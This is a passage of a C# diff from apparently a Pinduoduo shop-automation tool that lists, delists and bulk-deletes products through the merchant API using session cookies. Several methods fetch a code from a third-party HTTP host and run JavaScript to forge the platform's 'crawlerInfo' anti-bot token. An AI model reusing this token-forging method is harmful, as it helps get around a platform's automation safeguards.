(string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + + long GoodsId = BaseRegex.GetLongJson(ref list, "id"); + + int SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + bool OffLine = !bool.Parse(mc[0].Groups[1].Value); + + if (ReplaceModel) + { + if (SaleCount > 0) + { + LogSave.Add(Name, "跳过销量商品 " + GoodsId); + continue; + } + } + if (!isOnline && OffLine && !Shop.OffIds.Contains(GoodsId)) + Shop.OffIds.Add(GoodsId); + if (isOnline && !OffLine && !Shop.OnIds.Contains(GoodsId)) + Shop.OnIds.Add(GoodsId); + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + } + LogSave.Add(Name, "获取完成"); + if (UploadPinduoduoMain.NoVisit) + { + LogSave.Add(Name, "获取在线无流量产品 " + shopName); + UploadPinduoduoMain up = new UploadPinduoduoMain(Name); + up.Shop = Shop; + up.isOnline = isOnline; + up.GetGroupVisitIds(); + } + } + + public void GetAllGroupOnline() + { + Shop.OnOrOffProduct.Clear(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:asc\",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + if (minPrice > 0 && GetProductOnlineClass.NoPrce) + { + if (maxPrice == 0) + maxPrice = 1000000000; + data = "{\"order_by\":\"id:asc\",\"sku_price_range\":[" + minPrice * 100 + "," + maxPrice * 100 + "],\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + } + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + p.OffLine = !bool.Parse(mc[0].Groups[1].Value); + if (ReplaceModel) + { + if (p.SaleCount > 0) + { + + LogSave.Add(Name, "跳过销量商品 " + p.GoodsId); + continue; + } + } + if (!Shop.OnOrOffProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.OnOrOffProduct.Add(p); + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + } + LogSave.Add(Name, "获取完成"); + if (UploadPinduoduoMain.NoVisit) + { + LogSave.Add(Name, "获取在线无流量产品 " + shopName); + UploadPinduoduoMain up = new UploadPinduoduoMain(Name); + up.Shop = Shop; + up.GetGroupVisit(); + } + } + + public void GetAllOffGroupOnline() + { + Shop.OnOrOffProduct.Clear(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + //string data = "{\"order_by\":\"id:asc\",\"size\":15,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string data = "{\"order_by\":\"id:desc\",\"is_onsale\":0,\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + if (minPrice > 0) + { + if (maxPrice == 0) + maxPrice = 1000000000; + data = "{\"order_by\":\"id:desc\",\"sku_price_range\":[" + minPrice * 100 + "," + maxPrice * 100 + "],\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + ""; + } + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page >= 1000) + { + page = 999; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + p.OffLine = !bool.Parse(mc[0].Groups[1].Value); + if (ReplaceModel) + { + if (p.SaleCount > 0) + { + LogSave.Add(Name, "跳过销量商品 " + p.GoodsId); + continue; + } + } + if (!Shop.OnOrOffProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.OnOrOffProduct.Add(p); + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + } + LogSave.Add(Name, "获取完成"); + if (UploadPinduoduoMain.NoVisit) + { + LogSave.Add(Name, "获取在线无流量产品 " + shopName); + UploadPinduoduoMain up = new UploadPinduoduoMain(Name); + up.Shop = Shop; + up.GetGroupVisit(); + } + } + public long retCheckDaysPid() + { + if (!ClearProductGroup.IsNoDays) + return 0; + string url = BaseClass.LoginApiUrl + "?obj=upshopid/upid&act=get_days_id"; + string data = "days=" + ClearProductGroup.DaysCount + "&" + UserLogin.GetSignaturex(); + string html = GetHtml.PostUtf8(url, data); + long id = 0; + long.TryParse(html, out id); + return id; + } + + long minPid = 0; + public void GetDelKeyWordOnline() + { + Shop.OnOrOffProduct.Clear(); + if (ClearProductGroup.IsNoDays) + minPid = retCheckDaysPid(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:asc\",\"goods_name\":\"" + delTitle + "\",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + if (p.GoodsId == 0 || string.IsNullOrEmpty(p.Titlte)) + continue; + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + //int created_at = BaseRegex.GetIntJson(ref list, "created_at"); + //DateTime dt = BaseClass.StampToDateTime(created_at); + + if (ClearProductGroup.IsNoDays && p.GoodsId > minPid) + continue; + //if (ClearProductGroup.noDays && DateTime.Now.AddDays(-ClearProductGroup.daysCount) > dt) + // continue; + + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + p.OffLine = !bool.Parse(mc[0].Groups[1].Value); + if (!Shop.OnOrOffProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + { + if (!p.Titlte.Contains(delTitle)) + continue; + Shop.OnOrOffProduct.Add(p); + UploadPinduoduoMain.ProductDelTemp.Add(p); + } + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线关键词产品 " + shopName + ",分页:" + i); + } + LogSave.Add(Name, "获取完成"); + } + public void GetDelKeyTitleProduct() + { + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + + Shop.ClearNoVisitShop.goodsCount = Shop.OnOrOffProduct.Count; + ClearProductGroup.ShopTemp.Add(Shop); + + List ids = new List(); + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + if (delCount >= ClearProductGroup.GoodCount) + break; + isOnline = !Shop.OnOrOffProduct[j].OffLine; + if (isOnline) + { + var api = new PinduoduoApiGetProduct(Shop); + string html = api.SetOnline(Shop.OnOrOffProduct[j].GoodsId, false); + Shop.OnOrOffProduct[j].Message = !isOnline ? "上架成功" : "下架成功"; + UploadPinduoduoMain.ProductDelTemp.Add(Shop.OnOrOffProduct[j]); + LogSave.Add(Name, "商品" + Shop.OnOrOffProduct[j].GoodsId + "下架"); + Thread.Sleep(3 * 1000); + } + ids.Add(Shop.OnOrOffProduct[j].GoodsId); + delCount++; + if (ids.Count >= 15) + { + string html = DelGroupIds(ids); + + if (html.Contains("删除量上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + Shop.ClearNoVisitShop.goodStatus = "今日删除商品已达上限"; + ClearProductGroup.ShopTemp.Add(Shop); + return; + } + ids.Clear(); + Shop.ClearNoVisitShop.goodStatus = "删除第" + delCount + "个"; + ClearProductGroup.ShopTemp.Add(Shop); + LogSave.Add(Name, "删除成功:" + Shop.OnOrOffProduct[j].GoodsId); + Thread.Sleep(2000); + } + } + if (ids.Count > 0) + { + string html = DelGroupIds(ids); + if (html.Contains("删除量上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + Shop.ClearNoVisitShop.goodStatus = "今日删除商品已达上限"; + ClearProductGroup.ShopTemp.Add(Shop); + return; + } + Shop.ClearNoVisitShop.goodStatus = "删除第" + delCount + "个(完成)"; + ClearProductGroup.ShopTemp.Add(Shop); + } + LogSave.Add(Name, "删除完成"); + } + + public void GetDelKeyWordDel() + { + GetDelKeyWordOnline(); + GetDelKeyTitleProduct(); + } + public int vioCount = 0; + public void GetDelKeyGood() + { + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + + Shop.DelGroupShop.goodsCount = Shop.OnOrOffProduct.Count; + ShopTemp.Add(Shop); + + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + if (Shop.OnOrOffProduct[j].Delete == "False") + continue; + var api = new PinduoduoApiGetProduct(Shop); + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/pc/offSale"; + string refere = "https://mms.pinduoduo.com/"; + string data = "{\"goodsId\":" + Shop.OnOrOffProduct[j].GoodsId + ",\"crawlerInfo\":\"" + codex + "\"}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + Shop.OnOrOffProduct[j].Message = "下架成功"; + LogSave.Add(Name, "下架成功:" + Shop.OnOrOffProduct[j].GoodsId); + UploadPinduoduoMain.ProductDelTemp.Add(Shop.OnOrOffProduct[j]); + vioCount++; + Shop.DelGroupShop.vioCount = vioCount; + ShopTemp.Add(Shop); + Thread.Sleep(5 * 1000); + } + Shop.DelGroupShop.goodStatus = "下架违规完成"; + ShopTemp.Add(Shop); + } + + /// + /// 获取售罄商品 + /// + public void GetSoldOutOnline() + { + Shop.SellOutProduct.Clear(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/goods/goods_list"; + string data = "{\"order_by\":\"quantity:desc,id:desc\",\"page\":#page#,\"sold_out\":1,\"size\":100,\"mall_id\":" + mallId + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + p.OffLine = !bool.Parse(mc[0].Groups[1].Value); + //if (p.SaleCount <= 0) + //{ + // LogSave.Add(Name, "跳过无销量商品 " + p.GoodsId); + // continue; + //} + if (!Shop.SellOutProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.SellOutProduct.Add(p); + } + Thread.Sleep(300); + LogSave.Add(Name, "获取售罄产品 " + shopName + ",分页:" + i); + } + LogSave.Add(Name, "获取完成"); + } + + + + public int delCount = 0; + public int offCount = 0; + public static List ShopTemp = new List(); + public static List AutoShopTemp = new List(); + public static List ArrangeShopTemp = new List(); + public void GetDelGroupProduct() + { + GetAllGroupOnline(); + Shop.DelGroupShop.goodsCount = Shop.OnOrOffProduct.Count; + ShopTemp.Add(Shop); + List ids = new List(); + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + + List idsx = new List(); + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + if (offCount >= UploadPinduoduoMain.DelCount) + break; + isOnline = !Shop.OnOrOffProduct[j].OffLine; + if (isOnline) + { + idsx.Add(Shop.OnOrOffProduct[j].GoodsId); + offCount++; + if (idsx.Count >= 15) + { + string html = OffShopx(idsx); + idsx.Clear(); + if (html == "error") + break; + Shop.DelGroupShop.offCount = offCount; + ShopTemp.Add(Shop); + Thread.Sleep(10 * 1000); + } + } + } + if (idsx.Count > 0) + { + OffShopx(idsx); + idsx.Clear(); + Shop.DelGroupShop.offCount = offCount; + ShopTemp.Add(Shop); + } + + + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + if (delCount >= UploadPinduoduoMain.DelCount) + break; + ids.Add(Shop.OnOrOffProduct[j].GoodsId); + delCount++; + Shop.OnOrOffProduct[j].Message = "删除成功"; + if (ids.Count >= 100) + { + string html = DelGroupIds(ids); + + if (html.Contains("删除量上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + p.Message = " "; + UploadPinduoduoMain.ProductDelTemp.Add(p); + } + Shop.DelGroupShop.goodStatus = "今日删除商品已达上限"; + ShopTemp.Add(Shop); + return; + } + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + UploadPinduoduoMain.ProductDelTemp.Add(p); + } + ids.Clear(); + Shop.DelGroupShop.delCount = delCount; + ShopTemp.Add(Shop); + LogSave.Add(Name, "删除成功:" + Shop.OnOrOffProduct[j].GoodsId); + Thread.Sleep(2000); + } + } + if (ids.Count > 0) + { + string html = DelGroupIds(ids); + if (html.Contains("删除量上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + p.Message = " "; + UploadPinduoduoMain.ProductDelTemp.Add(p); + } + Shop.DelGroupShop.goodStatus = "今日删除商品已达上限"; + ShopTemp.Add(Shop); + return; + } + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + UploadPinduoduoMain.ProductDelTemp.Add(p); + } + Shop.DelGroupShop.delCount = delCount; + ShopTemp.Add(Shop); + } + Shop.DelGroupShop.goodStatus = "删除完成"; + ShopTemp.Add(Shop); + LogSave.Add(Name, "删除完成"); + } + public string OffShopx(List ids) + { + if (ids.Count == 0) + return ""; + StringBuilder pids = new StringBuilder(); + for (int i = 0; i < ids.Count; i++) + { + pids.Append("," + ids[i]); + } + string GoodsId = pids.ToString(1, pids.Length - 1); + + string codex = ""; + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + string data = "{\"goodsIds\":[" + GoodsId + "],\"crawlerInfo\":\"" + codex + "\"}"; + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/batchOffSale"; + string refere = "https://mms.pinduoduo.com"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + if (html.Contains("{\"success\":true")) + { + string[] l = GoodsId.Split(','); + foreach (string s in l) + { + //var good = Shop.OnOrOffProduct.Find(p => p.GoodsId == long.Parse(s)); + //good.Message = "下架成功"; + //ProductClearTemp.Add(good); + LogSave.Add(Name, "下架产品成功:" + s); + } + return ""; + } + if (html.Contains("手速太快了")) + { + LogSave.Add(Name, Shop.ShopName + "接口调用频繁,请过段时间再操作。"); + return "error"; + } + return ""; + } + + public void GetDelGroupOffProduct() + { + GetAllOffGroupOnline(); + Shop.DelGroupShop.goodsCount = Shop.OnOrOffProduct.Count; + ShopTemp.Add(Shop); + List ids = new List(); + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + if (delCount >= UploadPinduoduoMain.DelCount) + break; + isOnline = !Shop.OnOrOffProduct[j].OffLine; + if (isOnline) + continue; + ids.Add(Shop.OnOrOffProduct[j].GoodsId); + delCount++; + Shop.OnOrOffProduct[j].Message = "删除成功"; + if (ids.Count >= 15) + { + string html = DelGroupIds(ids); + + if (html.Contains("删除量上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + p.Message = " "; + UploadPinduoduoMain.ProductDelTemp.Add(p); + } + return; + } + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + UploadPinduoduoMain.ProductDelTemp.Add(p); + } + ids.Clear(); + Shop.DelGroupShop.delCount = delCount; + ShopTemp.Add(Shop); + LogSave.Add(Name, "删除成功:" + Shop.OnOrOffProduct[j].GoodsId); + Thread.Sleep(2000); + } + } + if (ids.Count > 0) + { + string html = DelGroupIds(ids); + if (html.Contains("删除量上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + p.Message = " "; + UploadPinduoduoMain.ProductDelTemp.Add(p); + } + return; + } + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + UploadPinduoduoMain.ProductDelTemp.Add(p); + } + Shop.DelGroupShop.delCount = delCount; + ShopTemp.Add(Shop); + } + Shop.DelGroupShop.goodStatus = "删除完成"; + ShopTemp.Add(Shop); + LogSave.Add(Name, "删除完成"); + } + public string DelGroupIds(List ids) + { + if (ids.Count == 0) + return ""; + StringBuilder pids = new StringBuilder(); + for (int i = 0; i < ids.Count; i++) + { + pids.Append("," + ids[i]); + } + var d = new DownUpProductExploder("", false, pids.ToString(1, pids.Length - 1)); + d.Cookies = Shop.Cookies; + d.Name = Name; + d.Shop = Shop; + string html = d.Delete(); + return html; + } + + public void GetDelTitleProduct() + { + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, 